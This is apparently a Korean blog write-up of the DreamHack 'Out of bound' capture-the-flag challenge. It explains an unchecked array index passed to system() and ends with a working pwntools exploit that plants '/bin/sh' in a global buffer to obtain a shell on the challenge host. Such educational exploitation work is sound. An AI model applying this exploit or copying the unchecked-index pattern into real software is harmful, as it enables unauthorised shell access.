Pwnable

[DreamHack] Out of bound Write-Up

의성마늘햄 2024. 9. 22. 14:04

ASLR이 적용되어 있고, 바이너리에는 NX와 Canary가 적용되어 있고, PIE는 적용 X

ASLR이 적용되어 있기 때문에 실행 시마다 스택, 라이브러리 등의 주소가 랜덤화

NX가 적용되어 있기 때문에 임의의 위치에 셸코드를 집어넣은 후 그 주소의 코드를 바로 실행 X

Canary가 적용되어 있기 때문에 스택 맨 위에 존재하는 SFP, RET과 그 뒷 주소 변경불가

PIE가 적용되지 않기 때문에 해당 바이너리가 실행되는 메모리 주소가 랜덤화 X (=데이터 영역의 변수들은 항상 정해진 주소에 할당된다.)

 

문제 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}



 

name 전역 변수에 16바이트까지 값을 넣을 수 있고, 기본적으로 "ls", "id", "ps", "file ./oob"의 4개의 명령어를 system 함수를 통해 셸에서 실행시킨 결과를 얻을 수 있다. 

Out of bounds 취약점을 사용해 command[idx]"/bin/sh\x00"이 들어가게 해보자.

(out of bound 취약점이 발생하는 이유 :  index idx에 대한 경계값 검사 없이 바로 해당 주소에 접근하고 있기 때문)

 

 

command와 name의 주소 확인

 

 

 

command는 0x804a060, name은 0x804a0ac -> 76바이트만큼 차이

 

command는 char * 형으로 정의

32비트 환경에서 실행되는 바이너리이기 때문에 각 주소는 32비트, 또는 4바이트로 표현된다.

따라서 *command = command[0] = 0x804a060의 주소에 저장되어 있는 값을 가지고, command[1]은 0x804a060 + 4 = 0x804a064의 주소에 저장되어 있는 값을 가진다.

따라서 command[19] = 0x804a060 + 76이 되어 name의 주소에 저장되어 있는 값을 가리킨다.

 

 name에 "/bin/sh\x00"이 저장되어 있을 때, idx = 19를 입력해 command[19]가 name을 가리키도록 해보자.

 

system 함수 호출 직전에 bp를 걸고

 

run한 뒤 name에 "/bin/sh\x00"이 저장되어 있을 때, idx = 19를 입력해 command[19]가 name을 가리키도록 해보면, system 함수에 인자로 EAX 레지스터의 값인 "/bin"이 들어간다. 

 

제대로 되기 위해선, "/bin/sh\x00" 문자열 자체가 아닌, "/bin/sh\x00" 문자열이 저장되어 있는 주소가 인자로 들어가야 하므로 EAX에는 name의 주소인 0x804a0ac가 들어가야한다!

 

exploit

 

name에 8바이트의 "/bin/sh\x00" 을 넣은 후, 그 뒤에 pwntools의 p32 함수를 사용해 만든 0x804a0ac를 붙여 총 12바이트를 저장한다.

name + 8이 가지는 값이 0x804a0ac이 되게 되고, command[19 + 2] = *(name + 8) = 0x804a0ac 의 값을 가지게 된다. system(0x804a0ac)을 실행하면 0x804a0ac 주소... 즉 name에 있는 "/bin/sh\x00"를 실행시킬 수 있게 된다.

(이 떄, 전송해야 하는 idx의 값은 19가 아닌 19 + 2 = 21이다!!!)

 

from pwn import *

p = remote("host3.dreamhack.games", 22229)

payload = b"/bin/sh\x00" + p32(0x804a0ac)

p.sendline(payload)
p.sendline(b"21")

p.interactive()